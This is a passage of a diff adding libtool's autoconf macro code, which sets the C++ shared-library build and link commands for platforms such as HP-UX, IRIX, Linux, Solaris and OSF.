+  	    # Green Hills C++ Compiler
+  	    # FIXME: insert proper C++ library support
+  	    _LT_TAGVAR(ld_shlibs, $1)=no
+  	    ;;
+          *)
+  	    # FIXME: insert proper C++ library support
+  	    _LT_TAGVAR(ld_shlibs, $1)=no
+  	    ;;
+        esac
+        ;;
+
+      freebsd[[12]]*)
+        # C++ shared libraries reported to be fairly broken before
+	# switch to ELF
+        _LT_TAGVAR(ld_shlibs, $1)=no
+        ;;
+
+      freebsd-elf*)
+        _LT_TAGVAR(archive_cmds_need_lc, $1)=no
+        ;;
+
+      freebsd* | kfreebsd*-gnu | dragonfly*)
+        # FreeBSD 3 and later use GNU C++ and GNU ld with standard ELF
+        # conventions
+        _LT_TAGVAR(ld_shlibs, $1)=yes
+        ;;
+
+      gnu*)
+        ;;
+
+      hpux9*)
+        _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
+        _LT_TAGVAR(hardcode_libdir_separator, $1)=:
+        _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
+        _LT_TAGVAR(hardcode_direct, $1)=yes
+        _LT_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH,
+  				             # but as the default
+  				             # location of the library.
+
+        case $cc_basename in
+          CC*)
+            # FIXME: insert proper C++ library support
+            _LT_TAGVAR(ld_shlibs, $1)=no
+            ;;
+          aCC*)
+            _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -b ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+            # Commands to make compiler produce verbose output that lists
+            # what "hidden" libraries, object files and flags are used when
+            # linking a shared library.
+            #
+            # There doesn't appear to be a way to prevent this compiler from
+            # explicitly linking system object files so we need to strip them
+            # from the output so that they don't get included in the library
+            # dependencies.
+            output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | $EGREP "\-L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; $ECHO "X$list" | $Xsed'
+            ;;
+          *)
+            if test "$GXX" = yes; then
+              _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+            else
+              # FIXME: insert proper C++ library support
+              _LT_TAGVAR(ld_shlibs, $1)=no
+            fi
+            ;;
+        esac
+        ;;
+
+      hpux10*|hpux11*)
+        if test $with_gnu_ld = no; then
+  	  _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
+  	  _LT_TAGVAR(hardcode_libdir_separator, $1)=:
+
+          case $host_cpu in
+            hppa*64*|ia64*)
+              ;;
+            *)
+  	      _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
+              ;;
+          esac
+        fi
+        case $host_cpu in
+          hppa*64*|ia64*)
+            _LT_TAGVAR(hardcode_direct, $1)=no
+            _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+            ;;
+          *)
+            _LT_TAGVAR(hardcode_direct, $1)=yes
+            _LT_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH,
+  					         # but as the default
+  					         # location of the library.
+            ;;
+        esac
+
+        case $cc_basename in
+          CC*)
+  	    # FIXME: insert proper C++ library support
+  	    _LT_TAGVAR(ld_shlibs, $1)=no
+  	    ;;
+          aCC*)
+  	    case $host_cpu in
+  	      hppa*64*)
+  	        _LT_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+  	        ;;
+  	      ia64*)
+  	        _LT_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+  	        ;;
+  	      *)
+  	        _LT_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+  	        ;;
+  	    esac
+  	    # Commands to make compiler produce verbose output that lists
+  	    # what "hidden" libraries, object files and flags are used when
+  	    # linking a shared library.
+  	    #
+  	    # There doesn't appear to be a way to prevent this compiler from
+  	    # explicitly linking system object files so we need to strip them
+  	    # from the output so that they don't get included in the library
+  	    # dependencies.
+  	    output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | $GREP "\-L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; $ECHO "X$list" | $Xsed'
+  	    ;;
+          *)
+  	    if test "$GXX" = yes; then
+  	      if test $with_gnu_ld = no; then
+  	        case $host_cpu in
+  	          hppa*64*)
+  	            _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+  	            ;;
+  	          ia64*)
+  	            _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+  	            ;;
+  	          *)
+  	            _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+  	            ;;
+  	        esac
+  	      fi
+  	    else
+  	      # FIXME: insert proper C++ library support
+  	      _LT_TAGVAR(ld_shlibs, $1)=no
+	    fi
+  	    ;;
+        esac
+        ;;
+
+      interix3*)
+	_LT_TAGVAR(hardcode_direct, $1)=no
+	_LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+	_LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
+	_LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
+	# Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
+	# Instead, shared libraries are loaded at an image base (0x10000000 by
+	# default) and relocated if they conflict, which is a slow very memory
+	# consuming and fragmenting process.  To avoid this, we pick a random,
+	# 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
+	# time.  Moving up from 0x10000000 also allows more sbrk(2) space.
+	_LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
+	_LT_TAGVAR(archive_expsym_cmds, $1)='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
+	;;
+      irix5* | irix6*)
+        case $cc_basename in
+          CC*)
+  	    # SGI C++
+  	    _LT_TAGVAR(archive_cmds, $1)='$CC -shared -all -multigot $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib'
+
+  	    # Archives containing C++ object files must be created using
+  	    # "CC -ar", where "CC" is the IRIX C++ compiler.  This is
+  	    # necessary to make sure instantiated templates are included
+  	    # in the archive.
+  	    _LT_TAGVAR(old_archive_cmds, $1)='$CC -ar -WR,-u -o $oldlib $oldobjs'
+  	    ;;
+          *)
+  	    if test "$GXX" = yes; then
+  	      if test "$with_gnu_ld" = no; then
+  	        _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+  	      else
+  	        _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` -o $lib'
+  	      fi
+  	    fi
+  	    _LT_TAGVAR(link_all_deplibs, $1)=yes
+  	    ;;
+        esac
+        _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
+        _LT_TAGVAR(hardcode_libdir_separator, $1)=:
+        _LT_TAGVAR(inherit_rpath, $1)=yes
+        ;;
+
+      linux*)
+        case $cc_basename in
+          KCC*)
+  	    # Kuck and Associates, Inc. (KAI) C++ Compiler
+
+  	    # KCC will only create a shared library if the output file
+  	    # ends with ".so" (or ".sl" for HP-UX), so rename the library
+  	    # to its proper name (with version) after linking.
+  	    _LT_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
+  	    _LT_TAGVAR(archive_expsym_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib ${wl}-retain-symbols-file,$export_symbols; mv \$templib $lib'
+  	    # Commands to make compiler produce verbose output that lists
+  	    # what "hidden" libraries, object files and flags are used when
+	    # linking a shared library.
+	    #
+	    # There doesn't appear to be a way to prevent this compiler from
+	    # explicitly linking system object files so we need to strip them
+	    # from the output so that they don't get included in the library
+	    # dependencies.
+	    output_verbose_link_cmd='templist=`$CC $CFLAGS -v conftest.$objext -o libconftest$shared_ext 2>&1 | $GREP "ld"`; rm -f libconftest$shared_ext; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; $ECHO "X$list" | $Xsed'
+
+	    _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
+	    _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
+
+	    # Archives containing C++ object files must be created using
+	    # "CC -Bstatic", where "CC" is the KAI C++ compiler.
+	    _LT_TAGVAR(old_archive_cmds, $1)='$CC -Bstatic -o $oldlib $oldobjs'
+	    ;;
+	  icpc* | ecpc* )
+	    # Intel C++
+	    with_gnu_ld=yes
+	    # version 8.0 and above of icpc choke on multiply defined symbols
+	    # if we add $predep_objects and $postdep_objects, however 7.1 and
+	    # earlier do not add the objects themselves.
+	    case `$CC -V 2>&1` in
+	      *"Version 7."*)
+	        _LT_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
+		_LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+		;;
+	      *)  # Version 8.0 or newer
+	        tmp_idyn=
+	        case $host_cpu in
+		  ia64*) tmp_idyn=' -i_dynamic';;
+		esac
+	        _LT_TAGVAR(archive_cmds, $1)='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+		_LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+		;;
+	    esac
+	    _LT_TAGVAR(archive_cmds_need_lc, $1)=no
+	    _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
+	    _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
+	    _LT_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive$convenience ${wl}--no-whole-archive'
+	    ;;
+          pgCC*)
+            # Portland Group C++ compiler
+ 	    case `$CC -V` in
+ 	    *pgCC\ [[1-5]]*)
+ 	      _LT_TAGVAR(prelink_cmds, $1)='tpldir=Template.dir~
+ 		rm -rf $tpldir~
+ 		$CC --prelink_objects --instantiation_dir $tpldir $objs $libobjs $compile_deplibs~
+ 		compile_command="$compile_command `find $tpldir -name \*.o | $NL2SP`"'
+ 	      _LT_TAGVAR(old_archive_cmds, $1)='tpldir=Template.dir~
+ 		rm -rf $tpldir~
+ 		$CC --prelink_objects --instantiation_dir $tpldir $oldobjs$old_deplibs~
+ 		$AR $AR_FLAGS $oldlib$oldobjs$old_deplibs `find $tpldir -name \*.o | $NL2SP`~
+ 		$RANLIB $oldlib'
+ 	      _LT_TAGVAR(archive_cmds, $1)='tpldir=Template.dir~
+ 		rm -rf $tpldir~
+ 		$CC --prelink_objects --instantiation_dir $tpldir $predep_objects $libobjs $deplibs $convenience $postdep_objects~
+ 		$CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
+ 	      _LT_TAGVAR(archive_expsym_cmds, $1)='tpldir=Template.dir~
+ 		rm -rf $tpldir~
+ 		$CC --prelink_objects --instantiation_dir $tpldir $predep_objects $libobjs $deplibs $convenience $postdep_objects~
+ 		$CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
+ 	      ;;
+ 	    *) # Version 6 will use weak symbols
+ 	      _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
+ 	      _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
+ 	      ;;
+ 	    esac
+
+	    _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath ${wl}$libdir'
+	    _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
+	    _LT_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`for conv in $convenience\"\"; do test  -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}--no-whole-archive'
+            ;;
+	  cxx*)
+	    # Compaq C++
+	    _LT_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
+	    _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname  -o $lib ${wl}-retain-symbols-file $wl$export_symbols'
+
+	    runpath_var=LD_RUN_PATH
+	    _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir'
+	    _LT_TAGVAR(hardcode_libdir_separator, $1)=:
+
+	    # Commands to make compiler produce verbose output that lists
+	    # what "hidden" libraries, object files and flags are used when
+	    # linking a shared library.
+	    #
+	    # There doesn't appear to be a way to prevent this compiler from
+	    # explicitly linking system object files so we need to strip them
+	    # from the output so that they don't get included in the library
+	    # dependencies.
+	    output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP "ld"`; templist=`$ECHO "X$templist" | $Xsed -e "s/\(^.*ld.*\)\( .*ld .*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; $ECHO "X$list" | $Xsed'
+	    ;;
+	esac
+	;;
+
+      lynxos*)
+        # FIXME: insert proper C++ library support
+	_LT_TAGVAR(ld_shlibs, $1)=no
+	;;
+
+      m88k*)
+        # FIXME: insert proper C++ library support
+        _LT_TAGVAR(ld_shlibs, $1)=no
+	;;
+
+      mvs*)
+        case $cc_basename in
+          cxx*)
+  	    # FIXME: insert proper C++ library support
+	    _LT_TAGVAR(ld_shlibs, $1)=no
+	    ;;
+	  *)
+  	    # FIXME: insert proper C++ library support
+	    _LT_TAGVAR(ld_shlibs, $1)=no
+	    ;;
+	esac
+	;;
+
+      netbsd*)
+        if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then
+	  _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable  -o $lib $predep_objects $libobjs $deplibs $postdep_objects $linker_flags'
+	  wlarc=
+	  _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
+	  _LT_TAGVAR(hardcode_direct, $1)=yes
+	  _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+	fi
+	# Workaround some broken pre-1.5 toolchains
+	output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP conftest.$objext | $SED -e "s:-lgcc -lc -lgcc::"'
+	;;
+
+      *nto* | *qnx*)
+        _LT_TAGVAR(ld_shlibs, $1)=yes
+	;;
+
+      openbsd2*)
+        # C++ shared libraries are fairly broken
+	_LT_TAGVAR(ld_shlibs, $1)=no
+	;;
+
+      openbsd*)
+	_LT_TAGVAR(hardcode_direct, $1)=yes
+	_LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+	_LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib'
+	_LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
+	if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
+	  _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-retain-symbols-file,$export_symbols -o $lib'
+	  _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
+	  _LT_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
+	fi
+	output_verbose_link_cmd=echo
+	;;
+
+      osf3* | osf4* | osf5*)
+        case $cc_basename in
+          KCC*)
+  	    # Kuck and Associates, Inc. (KAI) C++ Compiler
+
+	    # KCC will only create a shared library if the output file
+	    # ends with ".so" (or ".sl" for HP-UX), so rename the library
+	    # to its proper name (with version) after linking.
+	    _LT_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo "$lib" | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
+
+	    _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
+	    _LT_TAGVAR(hardcode_libdir_separator, $1)=:
+
+	    # Archives containing C++ object files must be created using
+	    # the KAI C++ compiler.
+	    case $host in
+	      osf3*) _LT_TAGVAR(old_archive_cmds, $1)='$CC -Bstatic -o $oldlib $oldobjs' ;;
+	      *) _LT_TAGVAR(old_archive_cmds, $1)='$CC -o $oldlib $oldobjs' ;;
+	    esac
+	    ;;
+          RCC*)
+  	    # Rational C++ 2.4.1
+	    # FIXME: insert proper C++ library support
+	    _LT_TAGVAR(ld_shlibs, $1)=no
+	    ;;
+          cxx*)
+	    case $host in
+	      osf3*)
+	        _LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
+	        _LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $soname `test -n "$verstring" && $ECHO "X${wl}-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib'
+	        _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
+		;;
+	      *)
+  	        _LT_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*'
+	        _LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib'
+	        _LT_TAGVAR(archive_expsym_cmds, $1)='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done~
+	          echo "-hidden">> $lib.exp~
+	          $CC -shared$allow_undefined_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname -Wl,-input -Wl,$lib.exp  `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib~
+	          $RM $lib.exp'
+	        _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir'
+		;;
+	    esac
+
+	    _LT_TAGVAR(hardcode_libdir_separator, $1)=:
+
+	    # Commands to make compiler produce verbose output that lists
+	    # what "hidden" libraries, object files and flags are used when
+	    # linking a shared library.
+	    #
+	    # There doesn't appear to be a way to prevent this compiler from
+	    # explicitly linking system object files so we need to strip them
+	    # from the output so that they don't get included in the library
+	    # dependencies.
+	    output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP "ld" | $GREP -v "ld:"`; templist=`$ECHO "X$templist" | $Xsed -e "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; $ECHO "X$list" | $Xsed'
+	    ;;
+	  *)
+	    if test "$GXX" = yes && test "$with_gnu_ld" = no; then
+	      _LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
+	      case $host in
+	        osf3*)
+	          _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+		  ;;
+	        *)
+	          _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+		  ;;
+	      esac
+
+	      _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
+	      _LT_TAGVAR(hardcode_libdir_separator, $1)=:
+
+	      # Commands to make compiler produce verbose output that lists
+	      # what "hidden" libraries, object files and flags are used when
+	      # linking a shared library.
+	      output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP "\-L"'
+
+	    else
+	      # FIXME: insert proper C++ library support
+	      _LT_TAGVAR(ld_shlibs, $1)=no
+	    fi
+	    ;;
+        esac
+        ;;
+
+      psos*)
+        # FIXME: insert proper C++ library support
+        _LT_TAGVAR(ld_shlibs, $1)=no
+        ;;
+
+      sunos4*)
+        case $cc_basename in
+          CC*)
+  	    # Sun C++ 4.x
+  	    # FIXME: insert proper C++ library support
+  	    _LT_TAGVAR(ld_shlibs, $1)=no
+  	    ;;
+          lcc*)
+  	    # Lucid
+  	    # FIXME: insert proper C++ library support
+  	    _LT_TAGVAR(ld_shlibs, $1)=no
+  	    ;;
+          *)
+  	    # FIXME: insert proper C++ library support
+  	    _LT_TAGVAR(ld_shlibs, $1)=no
+  	    ;;
+        esac
+        ;;
+
+      solaris*)
+        case $cc_basename in
+          CC*)
+  	    # Sun C++ 4.2, 5.x and Centerline C++
+            _LT_TAGVAR(archive_cmds_need_lc,$1)=yes
+  	    _LT_TAGVAR(no_undefined_flag, $1)=' -zdefs'
+  	    _LT_TAGVAR(archive_cmds, $1)='$CC -G${allow_undefined_flag}  -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+  	    _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+  	      $CC -G${allow_undefined_flag} ${wl}-M ${wl}$lib.exp -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
+
+  	    _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
+  	    _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+  	    case $host_os in
+  	      solaris2.[[0-5]] | solaris2.[[0-5]].*) ;;
+  	      *)
+  	        # The C++ compiler is used as linker so we must use $wl
+  	        # flag to pass the commands to the underlying system
+  	        # linker. We must also pass each convenience library through
+  	        # to the system linker between allextract/defaultextract.
+  	        # The C++ compiler will combine linker options so we
+  	        # cannot just pass the convenience library names through
+  	        # without $wl.
+  	        # Supported since Solaris 2.6 (maybe 2.5.1?)
+  	        _LT_TAGVAR(whole_archive_flag_spec, $1)='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}-z ${wl}defaultextract'
+  	        ;;
+  	    esac
+  	    _LT_TAGVAR(link_all_deplibs, $1)=yes
+
+  	    output_verbose_link_cmd='echo'
+
+  	    # Archives containing C++ object files must be created using
+  	    # "CC -xar", where "CC" is the Sun C++ compiler.  This is
+  	    # necessary to make sure instantiated templates are included
+  	    # in the archive.
+  	    _LT_TAGVAR(old_archive_cmds, $1)='$CC -xar -o $oldlib $oldobjs'
+  	    ;;
+          gcx*)
+  	    # Green Hills C++ Compiler
+  	    _LT_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
+
+  	    # The C++ compiler must be used to create the archive.
+  	    _LT_TAGVAR(old_archive_cmds, $1)='$CC $LDFLAGS -archive -o $oldlib $oldobjs'
+  	    ;;
+          *)
+  	    # GNU C++ compiler with Solaris linker
+  	    if test "$GXX" = yes && test "$with_gnu_ld" = no; then
+  	      _LT_TAGVAR(no_undefined_flag, $1)=' ${wl}-z ${wl}defs'
+  	      if $CC --version | $GREP -v '^2\.7' > /dev/null; then
+  	        _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
+  	        _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+  		  $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
+
+  	        # Commands to make compiler produce verbose output that lists
+  	        # what "hidden" libraries, object files and flags are used when
+  	        # linking a shared library.
+  	        output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP "\-L"'
+  	      else
+  	        # g++ 2.7 appears to require `-G' NOT `-shared' on this
+  	        # platform.
+  	        _LT_TAGVAR(archive_cmds, $1)='$CC -G -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
+  	        _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+  		  $CC -G -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
+
+  	        # Commands to make compiler produce verbose output that lists
+  	        # what "hidden" libraries, object files and flags are used when
+  	        # linking a shared library.
+  	        output_verbose_link_cmd='$CC -G $CFLAGS -v conftest.$objext 2>&1 | $GREP "\-L"'
+  	      fi
+
+  	      _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $wl$libdir'
+  	    fi
+  	    ;;
+        esac
+        ;;
+
+    sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[[01]].[[10]]* | unixware7* | sco3.2v5.0.[[024]]*)
+      _LT_TAGVAR(no_undefined_flag, $1)='${wl}-z,text'
+      _LT_TAGVAR(archive_cmds_need_lc, $1)=no
+      _LT_TAGVAR(hardcode_shlibpath_var, $1)=no
+      runpath_var='LD_RUN_PATH'
+
+      case $cc_basename in
+        CC*)
+	  _LT_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	  _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	  ;;
+	*)
